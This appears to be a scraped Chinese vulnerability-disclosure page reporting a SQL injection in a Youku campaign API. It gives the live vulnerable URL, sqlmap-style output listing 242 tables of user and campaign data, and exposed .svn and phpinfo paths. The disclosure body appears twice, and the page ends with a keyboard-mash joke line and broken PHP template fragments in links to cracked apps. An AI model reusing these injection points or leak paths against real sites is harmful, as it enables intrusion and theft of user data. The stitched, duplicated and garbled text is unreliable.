2014-04-21：细节已通知厂商并且等待厂商处理中
2014-04-21：厂商已经确认，细节仅向厂商公开
2014-05-01：细节向核心白帽子及相关领域专家公开
2014-05-11：细节向普通白帽子公开
2014-05-21：细节向实习白帽子公开
2014-06-05：细节向公众公开
刚才网吧没机子，我把一个小学生机子抢了 他说要把我头按在键盘上，我哈哈哈哈哈，就凭fjdnxsbhsdjncbsbdhxbbsjwfujdjwjdshckhlnvsldkhl
sql注射：
注射链接：
http://volvocars.youku.com/api/staples/video-box.php?vid=XNDY5NDUxNDM2
由于对参数vid没过滤，造成sql注射
数据库：
available databases [3]:
[*] db_events
[*] information_schema
[*] test
当前库：db_events
表：
Database: db_events
[242 tables]
+--------------------------+
| 7up_user |
| adidas_2010_football |
| adidas_2011_tvc_info |
| adidas_comments |
| aveo_clicks |
| aveo_comments |
| aveo_users |
| background_users |
| bosideng_1024_users |
| bosideng_code |
| bosideng_fake_users |
| bosideng_photos |
| bosideng_users |
| bosideng_video_vote_logs |
| bosideng_videos |
| bosideng_vote_logs |
| bsd_kpi_email |
| bsd_kpi_user |
| bsd_rt_log |
| bsd_user |
| bugles_videos |
| casesharing_2013 |
| cgirl2014_awards |
| cgirl_images |
| cgirl_users |
| cgirl_videos |
| chengxin_news |
| chery_comments |
| chery_photo_vote_logs |
| chery_photos |
| chery_users |
| chery_video_vote_logs |
| chery_videos |
| cityshow_comment |
| cityshow_data |
| cityshow_member |
| clear_game_log |
| clear_log |
| clear_rt_log |
| clear_users |
| crowneplaza_register |
| cruze_images |
| cruze_users |
| cruze_videos |
| deyi_tickets_users |
| dove_user |
| dove_video |
| etam_comment |
| etam_txt |
| fiesta_2011_guestbook |
| fm_dream |
| fm_kpi_member |
| fm_number |
| fm_number_bak |
| fm_number_t |
| fm_number_test |
| fm_support_log |
| fm_user |
| fm_vote_log |
| fm_work |
| ford_users |
| global_accounts |
| global_china |
| global_files |
| global_minisites |
| global_testing |
| global_units |
| greetingcard_params |
| gucci_comments |
| gucci_rt_logs |
| gucci_users |
| hkdl_users |
| ht_config |
| ht_guest |
| ht_user |
| htc_config |
| hvsop2013_awards |
| hvsop_comments |
| hvsop_live_email |
| hvsop_resumes |
| hvsop_users |
| hvsop_videos |
| hvsop_vote_logs |
| icedew_videos |
| jasmine_comments |
| jw2ask_marked |
| jw2ask_plans |
| jw2ask_questions |
| jw2ask_same_q |
| jw2ask_top30_grade_logs |
| kohler_comments |
| kohler_mm_awards |
| kohler_photo_vote_logs |
| kohler_photos |
| kohler_prize_logs |
| kohler_users |
| kohler_video_vote_logs |
| kohler_videos |
| lee_moment_photos |
| lee_moment_votelog |
| levis_data |
| levis_logs |
| levis_win |
| loreal_flash_ad |
| mabelline_users |
| mamonde_2013_videos |
| market_huanzhu_votes |
| marketing_apply_info |
| marketing_darenxiu |
| marketing_fashion |
| marketing_jianjiancao |
| marketing_kfc_avatar |
| marketing_kfc_cms |
| marketing_laifushi |
| marketing_upload_info |
| mmd_datas |
| mql_award |
| mql_seckill |
| mql_seckill_bak |
| mql_seckill_log |
| nfsq_users |
| nikegz_comments |
| nikegz_image |
| nikegz_pks |
| nikegz_videos |
| nivea_answer_logs |
| nivea_awards |
| nivea_final_awards |
| nivea_photos |
| nivea_question |
| nivea_users |
| nivea_vote_logs |
| onstar_regist |
| onstar_video |
| oreo_images |
| oreo_videos |
| pepsi_comments |
| pepsi_ecards |
| pepsi_media |
| pepsi_users |
| pepsi_videos |
| pepsi_vote_logs |
| pepsicny_videos |
| qingyang_comment |
| qingyang_videos |
| remyvsop_banner |
| remyvsop_comment |
| remyvsop_mobile |
| remyvsop_news |
| remyvsop_register |
| remyvsop_teams |
| remyvsop_videos |
| ricola_pincode |
| ricola_tickets |
| roewe_comment |
| roewe_config |
| roewe_guess |
| roewe_player |
| roewe_user |
| scj_users |
| sprite_users |
| sprite_videos |
| superb_comments |
| superb_comments_bak |
| superb_videos |
| sww_2011_users |
| sww_2011_videos |
| unit_cachedata |
| unit_comments |
| unit_misc |
| unit_news |
| unit_users |
| unit_videos |
| unit_visitors |
| unit_voting |
| vichy2013_awards |
| vichy2013_winners |
| vsop_email |
| vsop_live_mobile |
| vsop_loop_videos |
| vsop_lyp |
| vsop_users |
| vsop_videos |
| vsop_vote_email |
| wtcc_2011_guestbook |
| wtcc_2011_shots |
| wtcc_2011_users |
| wzmt_awards |
| wzmt_awards_bak |
| wzmt_seckill |
| wzmt_seckill_log |
| z_acer_user |
| z_bwnzb_user |
| z_eleven_user |
| z_fanta |
| z_fanta_email |
| z_ferrari |
| z_ferrero_user |
| z_huggies |
| z_huggies_comments |
| z_k3 |
| z_k3_user |
| z_k3_v |
| z_lenscrafter_pic |
| z_lenscrafter_user |
| z_loreal |
| z_market_disney |
| z_market_topchef |
| z_proya2011_100 |
| z_proya2011_code |
| z_proya2011_mblog |
| z_proya2011_pic |
| z_proya2011_user |
| z_proya2011_v2_pic |
| z_proya2011_v2_user |
| z_proya_pic |
| z_proya_user |
| z_remyclub_comment |
| z_remyclub_user |
| z_riich_user |
| z_sdeer_user |
| z_sepb_user |
| z_sgm15th |
| z_volvo |
| z_wp_code |
| z_young |
| z_z_comment |
| z_z_contact |
| z_z_contact2 |
| z_z_email |
| z_z_img |
| z_z_luck |
| z_z_module_luck |
| z_z_p |
| z_z_txt |
| z_z_txt_vote |
| z_z_v |
| z_z_vote |
| z_z_vote_id |
| z_z_vote_ip |
| zhijue_users |
| zqbb_videos |
+--------------------------+
242个表，不难看出信息量有多大了
只是检测，就没继续下去了
svn泄漏：
http://open.youku.com/docs/.svn/entries
http://open.youku.com/assets/.svn/entries
phpinfo：
http://trt.youku.com/index.php
数据库：
available databases [3]:
[*] db_events
[*] information_schema
[*] test
当前库：db_events
表：
Database: db_events
[242 tables]
+--------------------------+
| 7up_user |
| adidas_2010_football |
| adidas_2011_tvc_info |
| adidas_comments |
| aveo_clicks |
| aveo_comments |
| aveo_users |
| background_users |
| bosideng_1024_users |
| bosideng_code |
| bosideng_fake_users |
| bosideng_photos |
| bosideng_users |
| bosideng_video_vote_logs |
| bosideng_videos |
| bosideng_vote_logs |
| bsd_kpi_email |
| bsd_kpi_user |
| bsd_rt_log |
| bsd_user |
| bugles_videos |
| casesharing_2013 |
| cgirl2014_awards |
| cgirl_images |
| cgirl_users |
| cgirl_videos |
| chengxin_news |
| chery_comments |
| chery_photo_vote_logs |
| chery_photos |
| chery_users |
| chery_video_vote_logs |
| chery_videos |
| cityshow_comment |
| cityshow_data |
| cityshow_member |
| clear_game_log |
| clear_log |
| clear_rt_log |
| clear_users |
| crowneplaza_register |
| cruze_images |
| cruze_users |
| cruze_videos |
| deyi_tickets_users |
| dove_user |
| dove_video |
| etam_comment |
| etam_txt |
| fiesta_2011_guestbook |
| fm_dream |
| fm_kpi_member |
| fm_number |
| fm_number_bak |
| fm_number_t |
| fm_number_test |
| fm_support_log |
| fm_user |
| fm_vote_log |
| fm_work |
| ford_users |
| global_accounts |
| global_china |
| global_files |
| global_minisites |
| global_testing |
| global_units |
| greetingcard_params |
| gucci_comments |
| gucci_rt_logs |
| gucci_users |
| hkdl_users |
| ht_config |
| ht_guest |
| ht_user |
| htc_config |
| hvsop2013_awards |
| hvsop_comments |
| hvsop_live_email |
| hvsop_resumes |
| hvsop_users |
| hvsop_videos |
| hvsop_vote_logs |
| icedew_videos |
| jasmine_comments |
| jw2ask_marked |
| jw2ask_plans |
| jw2ask_questions |
| jw2ask_same_q |
| jw2ask_top30_grade_logs |
| kohler_comments |
| kohler_mm_awards |
| kohler_photo_vote_logs |
| kohler_photos |
| kohler_prize_logs |
| kohler_users |
| kohler_video_vote_logs |
| kohler_videos |
| lee_moment_photos |
| lee_moment_votelog |
| levis_data |
| levis_logs |
| levis_win |
| loreal_flash_ad |
| mabelline_users |
| mamonde_2013_videos |
| market_huanzhu_votes |
| marketing_apply_info |
| marketing_darenxiu |
| marketing_fashion |
| marketing_jianjiancao |
| marketing_kfc_avatar |
| marketing_kfc_cms |
| marketing_laifushi |
| marketing_upload_info |
| mmd_datas |
| mql_award |
| mql_seckill |
| mql_seckill_bak |
| mql_seckill_log |
| nfsq_users |
| nikegz_comments |
| nikegz_image |
| nikegz_pks |
| nikegz_videos |
| nivea_answer_logs |
| nivea_awards |
| nivea_final_awards |
| nivea_photos |
| nivea_question |
| nivea_users |
| nivea_vote_logs |
| onstar_regist |
| onstar_video |
| oreo_images |
| oreo_videos |
| pepsi_comments |
| pepsi_ecards |
| pepsi_media |
| pepsi_users |
| pepsi_videos |
| pepsi_vote_logs |
| pepsicny_videos |
| qingyang_comment |
| qingyang_videos |
| remyvsop_banner |
| remyvsop_comment |
| remyvsop_mobile |
| remyvsop_news |
| remyvsop_register |
| remyvsop_teams |
| remyvsop_videos |
| ricola_pincode |
| ricola_tickets |
| roewe_comment |
| roewe_config |
| roewe_guess |
| roewe_player |
| roewe_user |
| scj_users |
| sprite_users |
| sprite_videos |
| superb_comments |
| superb_comments_bak |
| superb_videos |
| sww_2011_users |
| sww_2011_videos |
| unit_cachedata |
| unit_comments |
| unit_misc |
| unit_news |
| unit_users |
| unit_videos |
| unit_visitors |
| unit_voting |
| vichy2013_awards |
| vichy2013_winners |
| vsop_email |
| vsop_live_mobile |
| vsop_loop_videos |
| vsop_lyp |
| vsop_users |
| vsop_videos |
| vsop_vote_email |
| wtcc_2011_guestbook |
| wtcc_2011_shots |
| wtcc_2011_users |
| wzmt_awards |
| wzmt_awards_bak |
| wzmt_seckill |
| wzmt_seckill_log |
| z_acer_user |
| z_bwnzb_user |
| z_eleven_user |
| z_fanta |
| z_fanta_email |
| z_ferrari |
| z_ferrero_user |
| z_huggies |
| z_huggies_comments |
| z_k3 |
| z_k3_user |
| z_k3_v |
| z_lenscrafter_pic |
| z_lenscrafter_user |
| z_loreal |
| z_market_disney |
| z_market_topchef |
| z_proya2011_100 |
| z_proya2011_code |
| z_proya2011_mblog |
| z_proya2011_pic |
| z_proya2011_user |
| z_proya2011_v2_pic |
| z_proya2011_v2_user |
| z_proya_pic |
| z_proya_user |
| z_remyclub_comment |
| z_remyclub_user |
| z_riich_user |
| z_sdeer_user |
| z_sepb_user |
| z_sgm15th |
| z_volvo |
| z_wp_code |
| z_young |
| z_z_comment |
| z_z_contact |
| z_z_contact2 |
| z_z_email |
| z_z_img |
| z_z_luck |
| z_z_module_luck |
| z_z_p |
| z_z_txt |
| z_z_txt_vote |
| z_z_v |
| z_z_vote |
| z_z_vote_id |
| z_z_vote_ip |
| zhijue_users |
| zqbb_videos |
+--------------------------+
242个表，不难看出信息量有多大了
只是检测，就没继续下去了
svn泄漏：
http://open.youku.com/docs/.svn/entries
http://open.youku.com/assets/.svn/entries
phpinfo：
http://trt.youku.com/index.php
你们懂得~~
版权声明：转载请注明来源 卡卡@乌云 漏洞回应 厂商回应：危害等级：高
漏洞Rank：20
确认时间：2014-04-21 11:46
厂商回复：修复中，多谢提醒
最新状态：暂无
版权与免责声明：
凡注明稿件来源的内容均为转载稿或由网友用户注册发布，本网转载出于传递更多信息的目的；如转载稿涉及版权问题，请作者联系我们，同时对于用户评论等信息，本网并不意味着赞同其观点或证实其内容的真实性；
![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)